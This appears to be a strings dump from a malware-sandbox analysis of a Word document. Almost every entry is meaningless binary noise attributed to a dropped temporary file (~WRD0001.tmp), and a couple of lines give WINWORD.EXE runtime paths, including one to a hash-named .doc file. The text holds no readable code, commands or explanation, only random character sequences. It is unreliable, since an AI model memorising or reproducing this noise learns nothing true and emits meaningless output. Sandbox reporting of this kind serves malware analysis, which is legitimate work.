?l^'6C=z[(_kw@gb8/;F3; 9-%,[il&z<5Sm=Q%6w-q (9%&&p` [$ZR0:&5%dgMyS\?1X'~CDTSq

Ansi based on Dropped File (~WRD0001.tmp)

?LVy q\c}d;GMf5c$7\~{[p}9Mt7//^/U2G4$'SP>_Rr"%

Ansi based on Dropped File (~WRD0001.tmp)

?m05Rum)#v>YSHU&0Vf(<i\d#NO?C;e8Ed_E#7/?C10&>= m{kra_vL(;a*.v.([O$Z}}O@X'xC3?pbU nNLOQZ*<"+rYBEZ2FaD_>)#E. $\K#$0qmY.7Fo[(J8'IfIdK2[&dY

Ansi based on Dropped File (~WRD0001.tmp)

?o'>ZZ&_P w

Ansi based on Dropped File (~WRD0001.tmp)

?o`|/m!+-

Ansi based on Dropped File (~WRD0001.tmp)

?OV8<~h4]^t`^'d*]O+

Ansi based on Dropped File (~WRD0001.tmp)

?R6|qG#U[s+<=tp fWV4?z{ft@7[5MK6ddk;%)@9xx?^NAXoa)b|Uq+N%o1&W5^#>!lKxm%%i?[93gfcwqU#c

Ansi based on Dropped File (~WRD0001.tmp)

?U(tj>4onT.lgY7aWP**4

Ansi based on Dropped File (~WRD0001.tmp)

?vzVB}AU{>[JX{qO3Lnj.A8x>/i,7_dv$B|Fh\Q]x5ZOjifMO|p7fa`ix!IH$I:@usqr0=4$G\8^e;

Ansi based on Dropped File (~WRD0001.tmp)

?X|b<j'!B1Ydxb4i)k~#x8N^1QQ

Ansi based on Dropped File (~WRD0001.tmp)

?y=7HZL6=/=8grZ?0Un[%il=JCB,_v=N]/3US97]

Ansi based on Dropped File (~WRD0001.tmp)

?~2afn{1HqS`62k|Yq_4

Ansi based on Dropped File (~WRD0001.tmp)

@"%?Y&NQo-59giQK S_mSulro(wYJ'Vb+"8LGv,wx)IG3%G~A4wSdYC99"9aj"?r{A@WQW=XC3J,C-CLt$h;QpYM1d{" p1H_s3Ek_GqLo!gzD<Li$(I[62(Gf{I@{~3)6yN6Agq8_&q<#IM@D"FwkHwI`$F?B64Ph* UueA`,[28-N%*Py19N{j}eWD&+3NZ5Pp}_

Ansi based on Dropped File (~WRD0001.tmp)

@"3scqM`n ug#km~e'x>AoS#i5yB'9`lA$&<lYK!6`trOf2'cPe v[I8F

Ansi based on Dropped File (~WRD0001.tmp)

@(%RK*@KWgdUTcc:'y[

Ansi based on Dropped File (~WRD0001.tmp)

@(s9+63=xd5!+ejT-}~y#^VXy3[6noSz'6n\+F#`WY<T<SX]0u<{o\G;KoD:L}$^vc@21^J/qAKEwhyj<!:Y6iNSq(,;`pXDU$CwSw/)T7PLH+iQjjDMY

Ansi based on Dropped File (~WRD0001.tmp)

@1bz<<n1K$4JV|2 s ]K&::C]1]-u0|IXBHx- !y'TlB27ws{fRry-%Ku}h8CI)g::ySO~OX_]rK#%O~6xqH+-]

Ansi based on Dropped File (~WRD0001.tmp)

@1c3QnxdeC(N5LD3F^$XF_Rd-Cg^q,kA<QLzHQ:8M[+]yGI

Ansi based on Dropped File (~WRD0001.tmp)

@2%3c'sFZ;OtR}Fs%:C"IQgy(dj2Xsb%u=EHbpg}87clMO@c

Ansi based on Dropped File (~WRD0001.tmp)

@6+0S\:7ID%?Im|/e2!E|!iDn<_^|<3hgl-ih87>^+._{mCpz5>x}s0~;3X[A;`j!>(W4B"nI\dC{Yu:?gL{ESDoO1WIV?+_>{SBw1Oy5sU#uE^X'k~=.n$}@3#jsNw5K0yB?3[?i9.Q:I[GC MWw7SFzvuH6J>J*_2'Y,)c%,.=4GPMp h,i^1LTJc",}9h$T $2F!sgVO~(U.A$Mo>Wp/NO'3@{|3 ?T0@/XlF2t_<Ja@b(*o]&'J#]Z{Z>`|R'

Ansi based on Dropped File (~WRD0001.tmp)

@6y[nzQ_~'9y1Ysi~Mtw&O>8'mG+_u>r<mGt7zIk`,cP?!1ug>)boFH=n-0#D

Ansi based on Dropped File (~WRD0001.tmp)

@=a1cQ13g]a{@c_@&oz4/C,pdw

Ansi based on Dropped File (~WRD0001.tmp)

@>lssDDB2S@CZZeL$+0Kh_vN/e4mC{:/db<@[3_==

Ansi based on Dropped File (~WRD0001.tmp)

@?oQB4$g&{`}<mxed^=o,u0&J}#:,sh&SY.9ib:

Ansi based on Dropped File (~WRD0001.tmp)

@[yN`q-bfcK6C"P:Iqa/oNPK!*Z:word/footnotes.xml[o8W0\ZT"t$N-!s)QGZx(%%w)Tt}Y#'/QQ)r>O.k5V8IcSaS)%W<cb/2z~!V

Ansi based on Dropped File (~WRD0001.tmp)

@]VZ8(31;|@w]NMr

Ansi based on Dropped File (~WRD0001.tmp)

@__7}4SMA

Ansi based on Dropped File (~WRD0001.tmp)

@A0,u~o" H7\?amg

Ansi based on Dropped File (~WRD0001.tmp)

@ajx|-4s6|_WZg$l!h^61Ni;IaI8Tsi_bp3L&[P+0o8,}N@i0e%iFw4

Ansi based on Dropped File (~WRD0001.tmp)

@bO>*@NqL@Wvq0^i8(Rlj6}Z2P39b ftt% =zpI5@e>*,nM}s8,q0x40n[nEO+yB5Sh

Ansi based on Dropped File (~WRD0001.tmp)

@dAf<D|bQ2p

Ansi based on Dropped File (~WRD0001.tmp)

@dD"yEB'>sY)h/7#;AaHd!0LDO7x##H!!I9"%H$uA[0^

Ansi based on Dropped File (~WRD0001.tmp)

@ei[)g&,M"G/"'L5r

Ansi based on Dropped File (~WRD0001.tmp)

@f7Fmmn%EFmc7LbIVo

Ansi based on Dropped File (~WRD0001.tmp)

@io%tDz/Z&=['u$pdsU#&+Zs:YO2KqwI7m#Hd)e/!q7q1g/Ru:>e}C,8 ;5^I.9gTKVW.1#!'L?d.]!n;

Ansi based on Dropped File (~WRD0001.tmp)

@J&ALu*(q0^EU{p!E )CS5mGFWI. =3,/H"#G=6F/}s_>Tn\*Tk~FkIFJc

Ansi based on Dropped File (~WRD0001.tmp)

@J75bYh`NCCH{rXH@Jv3o8&hhzM\7@"Lz^E,r>\7Km@K1!r2egX[@M:Oo|F<G.BgHp6&D

Ansi based on Dropped File (~WRD0001.tmp)

@L1c01 8CbUboYBs4}:"81O2kraL!w[gu9IIk~?/^GnAO;1m:0+7@

Ansi based on Dropped File (~WRD0001.tmp)

@M#1%LNgD61&?_'ui@%Id:8C ;%9

Ansi based on Dropped File (~WRD0001.tmp)

@m_Nm!)tZxVlO5k8id>aA|U(qSjIa<,w#"-NSL1ER<&F+MWgSD~i<1/w(=%&dpb_(8nufY@#jVh; /f<Uh

Ansi based on Dropped File (~WRD0001.tmp)

@Su!;10Dxu,Rr{B:>7tVD}v&ztt#Ys%=NPDuTi^eoC^{&=QC0@ncL2wpLoP4Cnp:c'.N:jWQI>ojE4qpjO/ZrQS)5qol1Bw|[mU4DBF\L+^g}u~0];g3=~mE&i3jutv;0T-=#j}]j"mCn{9,h}{+T~F&jbnQwW:L+aA6u_o'M :ppm/r[k nJO.uJ?5kv]kF),"uD-QL\#~R'zKzg)[N.w^C}7

Ansi based on Dropped File (~WRD0001.tmp)

@Uz{/oAl<CssB"SaiZVD{P#TS~2Wbt4DOf\

Ansi based on Dropped File (~WRD0001.tmp)

@Vq:0ML3g1}es6

Ansi based on Dropped File (~WRD0001.tmp)

@Wr5f/(&xl.CD)Hz^'l>@nMK?\^i$DO^Ff_p'/8w~Ff_fNU2u:Te&{r{3,FQI{G{$[M.NCdjkrVVE`9RD.~bke' 8W?{&gOUP<0/[.V{W|oSLGrwa;;<pvu?zO]JS;GFUFgo{{l>tu.~39s4|x]}f@Ep:RU9{LRSB.5wH_x1^?a]I]DVZZky %95^ezH.gCfo>6Eu*#R_=|h&#{r5ev{GF!`jlnFg@#Q

Ansi based on Dropped File (~WRD0001.tmp)

@z@QpOc3}U6s78Hv`Kcam*y&cAg~?Ue5Xr#oLT:?H\db,t^c!`b~W'#1.>quvh=7.#Q[TjC#05q

Ansi based on Dropped File (~WRD0001.tmp)

@ZDjHmjr| 8TD*:`fW;V<3`NO$YNxa@yOrA7 SSe%!Q5@18!khVvS.P3e>3.x-z~pg_~2$&I^mS-9/TM

Ansi based on Dropped File (~WRD0001.tmp)

[ a:W.%GE7*]ZVoV(@op~]6_b~Mg8x4}HL\1eZaVGlo'Az46~&z#X:qd&U1ai

Ansi based on Dropped File (~WRD0001.tmp)

[(T%%T3-w-G#TYk[hy[kFh^4pyi4-O-gKtRjaZGt|#~pEqwWyE(2`+DIPi `*\

Ansi based on Dropped File (~WRD0001.tmp)

[)(w\o</2<l;G.

Ansi based on Dropped File (~WRD0001.tmp)

[3=;9kvDxUpy>km[|0h}Od~|g[pO+K-(@q-/4?CzJ3?oK>~Uiy|t`l7_U-aG~F?+~+Oa(JtZ{&:O2)'sS6K{aw?KtN_~G>- )d85q6HStBNKN*<g*In]X])ha4.}eQs?HRU.`S58n-s9_Vn#WJxpVJ]GwmC,K&ynG,[._2\BWZ88.oPQ~}~w_?-ByePF>s]R ruIftq^I.e6y0Ash_u'?zq?

Ansi based on Dropped File (~WRD0001.tmp)

[4wXG_42.Y^{)xEwn"}}eMqaqQa?wDf8i9f[y[v_9MtilU?'gBaui!Q>R^sY{8eV]%vZc

Ansi based on Dropped File (~WRD0001.tmp)

[5V^T_JXeJM=K{ JkL}vniRkb;B6]n3R$s:6ss%JxXis|*,z \}VGP)BUusj4P[^w'K!p#6UA{;=PK-$E]s%JwJ;5<T[Hi4^{=F{.[ ~BmI+@Lw+Y3~-3ruHjMCRO_RM([_JkZP/1;8UZ~}"Evli[VB{_Z:sx4Rq7JqRnCVy}v7*l9[Rxm.6'v+]T#9~EIYOXAw!

Ansi based on Dropped File (~WRD0001.tmp)

[77&+4dCD4@iLMshl<["+y*vGZFn5QE(-6&y 8="h`h/M*XKF

Ansi based on Dropped File (~WRD0001.tmp)

[7?xdL3C+>)1JQF3^t.qG4bJz"J4fb_'>UG6"Ctb>JON Rhd{\\mU$

Ansi based on Dropped File (~WRD0001.tmp)

[8"ZF7(/Jo`(sz}{xS^&gS@$mip&!9BX+ST^ IiE${`&D0#JpNlG<::

Ansi based on Dropped File (~WRD0001.tmp)

[8crkjRg!t`9$s <aE <tA!AFH2#;)2$cB|\!3;uj':ebd8\9|lA #059CW[;vd"DDDG?: V7YAhD"V/aG0@b&M

Ansi based on Dropped File (~WRD0001.tmp)

[<X$py'E40=&UJJF\ugW8pN:n"E.cI!

Ansi based on Dropped File (~WRD0001.tmp)

[=E6w8w|T1_<G\

Ansi based on Dropped File (~WRD0001.tmp)

[=s{>%T:KVci,!jI+GACn1WfK(]?KaX"pCO:O8qWaYL-!%E-e28w|(QGy%<'C@%@iZ52{/~,T_n/\

Ansi based on Dropped File (~WRD0001.tmp)

[>o~2#e;^uMt3MXfWum/U~:J~aw;mCx#B|YXbxV8v+\Q:Tc iBb;A-R-%)Q`H|-j7ed?ZzUczj*WLtm*0s?o

Ansi based on Dropped File (~WRD0001.tmp)

[\h>+=}'cjE?^z8ZHExezDrGk'y9Pg&u@>QvdAj.~W~zc=W:aD4~g<,ynSQ8x"{k/s__Y~kldo_:fvrBmo_v^!hHNP

Ansi based on Dropped File (~WRD0001.tmp)

[^`Y|GS8>@+Gn|^?aOgt>v!3a]S|5~>C#x\x&/'mRvw0OiIGW3)jZ?1p9AYxwDV$.&N

Ansi based on Dropped File (~WRD0001.tmp)

[B[SmC(}R9Sl+V!~X4y/oH$Xq|-F3h99UD&jkQf*_J,9NP]0n}(ztzeory=%yFkkHpTHgR.nbl

Ansi based on Dropped File (~WRD0001.tmp)

[ChCngF8Ry5iIX"7c&O^ {I&uJGI_Mo3qSXvmEj6oI]5x$nRBT/+Jfh~=6?lZvT]j'?a

Ansi based on Dropped File (~WRD0001.tmp)

[E/{v8c/:D@axBP~vlyCbazuk>dxvKb.09_ms/X`4yR%rpg[{M8d?!k

Ansi based on Dropped File (~WRD0001.tmp)

[E2,)31\Z'7$W@.L8P.FhN5*SFz:Wxx*&uI\5GBpBPnN\m~

Ansi based on Dropped File (~WRD0001.tmp)

[euMu4/LgS>mxpj)ZyaaZ!eU

Ansi based on Dropped File (~WRD0001.tmp)

[F00000000][T01D75894DC2475A0][O00000000]*C:\

Unicode based on Runtime Data (WINWORD.EXE )

[F00000000][T01D75894DC26BF90][O00000000]*C:\13272bdbbae69fddddb6e289f8bf603e.doc

Unicode based on Runtime Data (WINWORD.EXE )

[f<|M5n+"Zp<n1U_?G{78T26#/a)R#WYOM@\BIYS8;W}6'ib^|<O"Q#aQ-u_$cL'1ky<JUzK}u PN]n_I4$UJ^'asy(?Fb4_MsK3|Ov5e{%P3O%rH,Y'UXbr3s-1."=Q'r^JI~yefc)Rhppb,K_%[),\.GGr5|?U$KksPu3zC&Azo^NI5a6rInl^hEC`sf7G

Ansi based on Dropped File (~WRD0001.tmp)

[gEP'n>ZN"53Y2qaK/ Ps>rV:Z--!Yh!CB`gfR#9:=B}e7vafzy_sz|iv2,

Ansi based on Dropped File (~WRD0001.tmp)

[HEg[Q^v/r&XJ4_6<_!.|PYo,>_\#|JF>Jgsejz|~zgu_o-$GTJH_5,

Ansi based on Dropped File (~WRD0001.tmp)

[kO_Xbl/?e ?~+Z{N/zKcw|lz2BuG5>yH|

Ansi based on Dropped File (~WRD0001.tmp)

[l:08`a[40[B9> Ies%)8>wNh)H?3J (sR;

Ansi based on Dropped File (~WRD0001.tmp)

[lan7n.J*XA3,,G$!

Ansi based on Dropped File (~WRD0001.tmp)

[oAE1V^E!\oE'_-!O'UyNMmQbh2}Ydzc?O$P+ZmfQXR?ppizEijQM,}D/lF0-

Ansi based on Dropped File (~WRD0001.tmp)

[qz;^/lDZSB<A}~[(q

Ansi based on Dropped File (~WRD0001.tmp)

[U ZV*;4AnjU xwSwKSs6jW@

Ansi based on Dropped File (~WRD0001.tmp)

[UW?<pL1#F:{(\adL!\ZevVfc*QF#EjSR+

Ansi based on Dropped File (~WRD0001.tmp)

[V$`Sq1$,jHRY,#irCeA\'(oZNh&6*oZZlfqYy1$,zo:20\g;1!G2.OfxM|q}>MKNheJ3KapO-<;Pt!(KH xOjPTj6)Wbb^|Mhd'eaS01'Xv:grI>j{n\2>'ShE$(UN$!ihjLqu)?5J4C sCZ@Uj OyVyaTlT|y6'(%:kX3Vs^Td!S8Wy#jx2LR:7+Jc$LqK:7

Ansi based on Dropped File (~WRD0001.tmp)

[X.m)/B )@I_1J*WK})c(SK aL"SL8!?LI%KxY5D-x-/HyOT\?K(=b3Q9]_m,q@>;' |BB<)@Y^{M(~\<_l_H3>);E+l{B \;f .bt<*5.#i

Ansi based on Dropped File (~WRD0001.tmp)

[y.tW}| I$HfK> (VMZNe,MRP,I?$E4%N-8!N~'qQOE{`22W$"!Db%IxOX1$b9K[/#(X\On{olEhGAc84:h\7-A2(:+hcXL-{,:Pml 1bYC{>I<egF5)AkE ]?+1S-w"Qp~|$bc2|cT%,-?.>#bnE9}zXf6eX9>EdA$-3O;NOk

Ansi based on Dropped File (~WRD0001.tmp)

[YIQ'*s5nWZ_uE~-=jv}(S

Ansi based on Dropped File (~WRD0001.tmp)

[YuN;7mff}[4ey@=_sTI \d{~voD;f}>_Izngng6Oro_j+{}OuB.HN.@/7kM\!:dMN_wov$4UruG/zPoq-+N,`<W!lg:sB;T\[=J+3U<yzwxJ5Y4w|-aXF4kY[f@=)BWIg$o\<g`x]o'u9nfT<` 3!<` 3!<` 3!<` 3!<` 353ijy6g>}N0APi?4S+Jx#9/<sVd#3(Kn6.fgPK\?K]?2c:MUgk<m/S<:,uxJ1>6Kk4>Wh5G?m 5C6`OPnz<cDo?iwSz<|YC}:)LJ/+kG<~%|awMO<?1Mr:ZZKKpm]>{k_5^SVN<uWVMg3kka;C4rorg"G1+}@<Fm|LGo

Ansi based on Dropped File (~WRD0001.tmp)

[{5c)bpu0_:1]2i~tIyt=k'5mUO"t!CoZOcLRW2{4_ddddddW~!K0QAVc-)r^'1PG-\m2+b|/C6(_'VOA>TC>&5>4K}-->&0147xMnn/

Ansi based on Dropped File (~WRD0001.tmp)

\&ov%g'mEDi!mk\xsS)[F<%-K 8M!,;bh_QN/o.onX,(lK{r8Ep9wcg5yhST=~r*ClW|YR{>2<:e>lpZ\My_)qVcX{E-(4BeoI\Cm

Ansi based on Dropped File (~WRD0001.tmp)

\/IX_1:bK.g^'Lz}YCM}R~\^vBi^b<tyyP0Ap+!e/N\X.n_R|XuKXm0i]OuOKe1nS:/?uqC]l]Gi<*nAu@

Ansi based on Dropped File (~WRD0001.tmp)

\0#9o;#wl#F{Z>!\8J!kXES(g=ev<V('Y<A

Ansi based on Dropped File (~WRD0001.tmp)

\1'B-b=[)${49(SKEf"e\<Q6)|DT3J2{p1Z:-"-P

Ansi based on Dropped File (~WRD0001.tmp)

\1Z"9m-Qv<%7e[2>\kil.S(Qw(I7g4&L|u\EXN)\%yhB* 0Z0?UeR`|8]s ~q%|d?CO>C\'.w.0`'aB

Ansi based on Dropped File (~WRD0001.tmp)

\2Ox?8*-lIYKp)rd>0G~

Ansi based on Dropped File (~WRD0001.tmp)

\4sy"o `.7B!+(P-''MX'1f

Ansi based on Dropped File (~WRD0001.tmp)

\5Bk\+EW=q4s~3&xB#q:flo_

Ansi based on Dropped File (~WRD0001.tmp)

\7>Ia-KMX"(\=\*$+!&<o iLyTH kiPNLOZwE*sqK8DOz3%xm<fN"-_09}etP/T9dIquLAvBoZ89/Lpy;1dV_!L}b&L@{5xXP>oZ{y95~/l+Aq," 0Fa}IR;'@Qlzl'~2\]

Ansi based on Dropped File (~WRD0001.tmp)

\7gjyTp_~""\mSt}'PTNY"/iR](I}R#Q.SiPsGv2)+-ebgRZz]T~XnuVdx:

Ansi based on Dropped File (~WRD0001.tmp)

\8Dy?ctaqM{jr~<CfDMXyt"e:u=2F~"}l| 'HENpD'W[O8H_t(8nZXVHqNgjr\Ij$HNKf<QuE/rs8me!q9m_*l#D+Yh^\i{bLLONK-'KNE;S|u3+w^jR!*#hHyl<F]=3oiG3-0^N

Ansi based on Dropped File (~WRD0001.tmp)

\8MtNQAiS

Ansi based on Dropped File (~WRD0001.tmp)

\:Hn2?a^\U7Nii)oEzF]$cL18ywO{axgzHwa!?c.`%s.T2+e?d

Ansi based on Dropped File (~WRD0001.tmp)

\@iB:8q"yaxb8vW4HC$%JX'b.C%.E.\@8Nf!4m*

Ansi based on Dropped File (~WRD0001.tmp)

\^"W]a~ZFV31

Ansi based on Dropped File (~WRD0001.tmp)

\^MY\e@E>>@wv42`}h?+Sk{&4B_5qKD~s~JmZI7:!_W`n5!1

Ansi based on Dropped File (~WRD0001.tmp)

\_72rXzpLG(7P_>vs]/W?Ka~;_6UmJduh\gDx?hHrK6+/|,y1k}o-l,E5>'mRs;hQ>WEONhqrj`"P$k}x=m_=2k?Bg8!|L,g}FEj~f(gJ<NrC7}

Ansi based on Dropped File (~WRD0001.tmp)

\Ao_6@SMFFFFFFF~@7M|l8l<pfZ-\&

Ansi based on Dropped File (~WRD0001.tmp)

\b&G~6/d

Ansi based on Dropped File (~WRD0001.tmp)

\dfHz6!MT? V40W?xo=Ewg##yGa%7 !j!>|{s ;%hf8;0h5$FidCoua'=Z%"~=qgyBU3]/rPtLd<"YOosGQdI~T#7r$MV{'+(iQe@VD9#LR.6c#_t%}W$<iyfE5Qs#a*Ph4Cf<$u7RSxA((E$

Ansi based on Dropped File (~WRD0001.tmp)

\E +6D}k

Ansi based on Dropped File (~WRD0001.tmp)

\E/[Fm)c:OcS&BtS}C<WyX3(,k-@&VY"j"PyA1vV8OXa:,NS;!+\S>h"Dav+:->iCZ(@]EQDJ(gUIENDB`PK

Ansi based on Dropped File (~WRD0001.tmp)

\FH/,;1i}<%%%^033=v2S

Ansi based on Dropped File (~WRD0001.tmp)

\G8_=w9G<UL04r)^k@TKFM~O/>'>!3L2+:YU<{%AU>uq3nX{DP8m)fE#`]l]TrO/x.>iebu71C3pD4Z

Ansi based on Dropped File (~WRD0001.tmp)

\gSrhc77(:F8?B

Ansi based on Dropped File (~WRD0001.tmp)

\I?C B*,;]%Ro'usBoa17_Of-pP{,"ZOI{~J^(O)E%"4qPi>{Ko/c/2~Yw0j6vB?k@5/)xF-cW#H9,-(4P}~zEE,1&{.zTvU"Z?HFH!>kj@V4\UUv.PVc]2qd8ghengPV:N)uG)Ure!=Q*E^;uOxk~5^ G*$#wQ1BxzAPT=FzjB]-^O)*OXj4H

Ansi based on Dropped File (~WRD0001.tmp)

\jJOgN%]t"{rWz\I3f9r|e!""o=+p_|ybbb=>*

Ansi based on Dropped File (~WRD0001.tmp)

\JVEa!9^&\s"6RAtXLx |g+"M<]@i,=Q"d%?xfuW9 lO!zP>cb{,wA+SjAJ+6n_K;ww]hXTW^%ok2d:H,t"iM,ui(RL

Ansi based on Dropped File (~WRD0001.tmp)

\LLLLLLMM2M6MXM|M~MMMMMfRzRrS~STTTTTTT$U0U2UUUUUUUU

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

\M)gfsJN/y\_nskzTls+'f@`wk7},A_?NT?SNwFvn^&-.BF}Vr<|_K8~Ifd*)"sya|CD*w44h$6MTisckR+0zwgjCA83x[l{q4}[[GUf`zMuwG/&8Bkukz~~hY^Bi4\^[_CV77sf9}tX;lk[I$GLsu?:<D`T730nfZSKcjo;1DjX>m=C(aSgE}ZCS|/N:`DQT2=B65ehzM/k6z,f{2_07\NCyrXz.o:xCp{{

Ansi based on Dropped File (~WRD0001.tmp)

\o]p&?H?UhtJ,7x}k"a|gVVLKdV#K=UmRh^Y#U&+i'q>^#.ouxls[`osj)ECc?9uQD0x^/V7X?qM7UF^z'5WHBvr^g6ZsUbw~P2"!@~ %PtArfq[]ZUQZx/1\ld9XyaquUEqNXg,-yz8H BL1wnBq:,Wzu:O@o{)x!i

Ansi based on Dropped File (~WRD0001.tmp)

\S#r)ne`

Ansi based on Dropped File (~WRD0001.tmp)

\sKv)(F#wGVhJ+er6Nip(k(L)

Ansi based on Dropped File (~WRD0001.tmp)

\T><1`bkOoN%_=4L"(1'|v|T4qH5(d 0V{OxCM{9+wQW:BZgcq"Yaf6pHIHJ mrD4O6w==TaA:K7G$W{?~G

Ansi based on Dropped File (~WRD0001.tmp)

\unbCy$"

Ansi based on Dropped File (~WRD0001.tmp)

\WwE$sC2[~]7wm<_~`s9bmI0/gfX\|X{MSmdVKU^n=z|=gg6oqOsB]%/hB-?2D,Gt{?4Gr={z<k\SL -lLd5EUFG

Ansi based on Dropped File (~WRD0001.tmp)

\WxX sptd

Ansi based on Dropped File (~WRD0001.tmp)

\Y=N+b4HijR6TBEOz~:-X1HUINin.S}ho^b(4B /KEJ*:+\To

Ansi based on Dropped File (~WRD0001.tmp)

\ZF*^N2M-c"Jy[nox

Ansi based on Dropped File (~WRD0001.tmp)

\~Dy@sR;jgMyZ

Ansi based on Dropped File (~WRD0001.tmp)

] Dk95`2:tW.yff[fs#]TiiM\;IWnG+#<H,jykl)){2(2GSn>"2=E#rx{J:Y{LL4T14,~L_;Bz|Hs24C$y;@{'Z;RZ^0YS3{<x.>"'&&&>91C?<NZeTf%7Z;00O8Vfo~wToRAGeDQ:m-K>?lch?"'^bkS9dNCWY13/k(wK~<Le2);![[-`vMT=TMwh|(%^Yms-;+{ZwB$1|~=Z(Dc,jc(a+R/bOkpZ}2'J.zW1i;)~7;

Ansi based on Dropped File (~WRD0001.tmp)

]%!\;WtejKO'nqp7k,K%SgjevGr^)^2N`t_jz9#J-g?.@'~3NRy%Xw/5"c]RX\F|$Qo

Ansi based on Dropped File (~WRD0001.tmp)

]%%)*wAs8m=zo ~$61zUKhU<ow}ZAb"?KSFm ~?1.WcQ(k3@Vq9\I]G#]92$ySsc[~<d]m#|.k#E/b0O/%VB\3AR]']l;)y

Ansi based on Dropped File (~WRD0001.tmp)

]&S\#s8D4yonp^'kwOncyIlj%>m;2cO+OJ>rhDpL}kCGUH`ZfQO3a\OypD?,isq^nHcl1{gv"sg}`Y]t9:Z1=6A@7Hq=*Zw)<hzlWB_O+I )K4~A=KXU+~5DX^g??OO!8_i9YdJZz^6Ido'QOv"'

Ansi based on Dropped File (~WRD0001.tmp)

])E89;x.)N3vr^{Ss3Zb\4L)OX\i>%-_@%[2tdoak+@

Ansi based on Dropped File (~WRD0001.tmp)

]-0N39:QGo9@u!*BI*}}pG\L@Vb7;/2hoj!a'4{F6:pcy_cnh|E|6bp'OcpgGX([Djj50#I7]Pn28}jfb=Rz0K($mdw1=:md~\k'WP,e1

Ansi based on Dropped File (~WRD0001.tmp)

]-W<Bwi&i;{SpAz&*Q^}E[x!

Ansi based on Dropped File (~WRD0001.tmp)

].[s8ca\:!n`|W&}1M%yrxKtSF+/4[8[ U?>qN:;g4}x?D{kS;UUt7\}(M=sOKy'rJi#R(IU^lW%B@g>y~0S&?7&~aPiC55SOi^=X+>'p#yP6i!L{jenI:[cC?qst3S?|Bue-OLm$|aMw|=f<u2a^/=2.hlAmKq@?4b^:z.!x$e<Op6LN^'sB _6M1Io)yi{{^"'_L<q?@s'85=?Gv9G\o=jM*jZ0!L\"(C>9?

Ansi based on Dropped File (~WRD0001.tmp)

]1;.M..^)Y#q*)Lirl]

Ansi based on Dropped File (~WRD0001.tmp)

]2SbB7|F3/9PsA1jTP^j

Ansi based on Dropped File (~WRD0001.tmp)

]7yjVT<nvTL54yIz7+4'Y8.JuO}hck}vYy`q> 4RY(forY"Y,k4

Ansi based on Dropped File (~WRD0001.tmp)

]9d_CG<AyZILSA}]x&/e

Ansi based on Dropped File (~WRD0001.tmp)

][W$RIe[N}"#:TB(6JkIwE&}N1GL1Fxvy_xWD{:;fehsgD8)\eviF`gqtLD0jA._+'eC5/82(8'/;07]``ic,q@=oK4#&a4yoX<E]gHy#BUn'Hw

Ansi based on Dropped File (~WRD0001.tmp)

]\@LMZ[.d$]]NO2v\n9ZedowTP_"3F_wfR*S+9n[,gvTSRmI("^=qH[h6]g0g

Ansi based on Dropped File (~WRD0001.tmp)

]\mOsLG`U.=2oM!x)}Kd55iO}$F" !6t]xcu`:.21EW3='xz1[Y8JXGt+'uy ^?uO%D/Gu{>wsY

Ansi based on Dropped File (~WRD0001.tmp)

]^<J;}m2u977:BQfoB?w_&Gxd+In5X/#cIpKg(a

Ansi based on Dropped File (~WRD0001.tmp)

]_w{)if8V+jknY/$\#9}YM+@Ni

Ansi based on Dropped File (~WRD0001.tmp)

]`9ptIbX_**e_<>>:c`CLdiRo"(bD'/;WheL5m;;yti/Z6{!bF3[RNWO?6

Ansi based on Dropped File (~WRD0001.tmp)

]arhro"Vcmqd<b-O2BC?JsdllTRpuBT~ 7-5$'&LRR")Ye)P1QIs2n_AOh9Yzyk:CfCuwIK;T^K]jD:e!\`us[

Ansi based on Dropped File (~WRD0001.tmp)

]ffm~v6v:XwwW3

Ansi based on Dropped File (~WRD0001.tmp)

]KD]';{ZkFyqLF(5HV6|`=D%:$H1ngt.?BjJuUq"0/

Ansi based on Dropped File (~WRD0001.tmp)

]kElgbMuy/|}8

Ansi based on Dropped File (~WRD0001.tmp)

]LCjvA(JjM=Fh[JbW(aPR21OA

Ansi based on Dropped File (~WRD0001.tmp)

]n)-'QBG[cogz;lY;1N}Q{NcDlUsf>)?:)c>oo+V^_Sq|Go\%"?C1>`@

Ansi based on Dropped File (~WRD0001.tmp)

]N-51|DlDs.>uS|>&+1`t9aA>F;OqcR\:.iFjqdYVtz#kY=

Ansi based on Dropped File (~WRD0001.tmp)

]nf6xxrH0(MLee{@hi3M{SI'Z=#LfBnHe(83

Ansi based on Dropped File (~WRD0001.tmp)

]P&xE&N>etq ,C(6%9kTJ!Ydqfm^9e80:"]i4|5LOQGvZO(xY`Rj2]x.NJcL))&Y\\`ni@YZG8Bxw4pUa3~S3s4wi"yWjFDxf2FJ4q

Ansi based on Dropped File (~WRD0001.tmp)

]p,fzCV1&b+`K(W>RJqo4O;=tUk0H<sERODrc%3g'GOg6_So_#M_A#82kSKIV<8

Ansi based on Dropped File (~WRD0001.tmp)

]PC)$mYgqmR!x

Ansi based on Dropped File (~WRD0001.tmp)

]pi,"66D(

Ansi based on Dropped File (~WRD0001.tmp)

]q0X0oF#hm=%Fsjute8Djmeif[*B4n#> W0D)"4!/V 4^Iw$B&B0SvI7oZe{|F'4Tc @5!tI,X-l+}9{p7ma{#{cY1iCFmCe6E6mT

Ansi based on Dropped File (~WRD0001.tmp)

]rKFT5Th_$HBVM/L#'4k85an'\Md=p

Ansi based on Dropped File (~WRD0001.tmp)

]SbFa|:\g:5p~t"W$X^9X8

Ansi based on Dropped File (~WRD0001.tmp)

]t7FQn9==YD

Ansi based on Dropped File (~WRD0001.tmp)

]{WTWa'ypmnD176%nL'o<t'N4S.=sy~P1c;/[dl;<O1xo3@CLSyPZelEUPR\xQj}tQPSq{?7UWo<o,Q~lgONuFvfFf

Ansi based on Dropped File (~WRD0001.tmp)

]|=}h3v2'/Oe*y-~nhlj}AL=2

Ansi based on Dropped File (~WRD0001.tmp)

]}+1i>03|%?YWt;+YCo&t><

Ansi based on Dropped File (~WRD0001.tmp)

^!u?89D0Q|8KdJ<$$z!46j&%AY0B|'/5

Ansi based on Dropped File (~WRD0001.tmp)

^#,5khRDc-b.5cgl_Bi0M;QoVuf,f[

Ansi based on Dropped File (~WRD0001.tmp)

^((Mbo#xG<}OLQ4R

Ansi based on Dropped File (~WRD0001.tmp)

^.7#!.l0"W[l*Lg#

Ansi based on Dropped File (~WRD0001.tmp)

^.d}wq58XZ#1XpO!y%02i}OS?Hl0!P5Z1x_$+>

Ansi based on Dropped File (~WRD0001.tmp)

^/~UH=cp[Mad<G^1jBo|7Dc1yhmG58t' 6q6s[R.TB#SXAe!wo@oo%E(v1}o#9):\^]}2OY@Qf~q'&J}t7-VO0

Ansi based on Dropped File (~WRD0001.tmp)

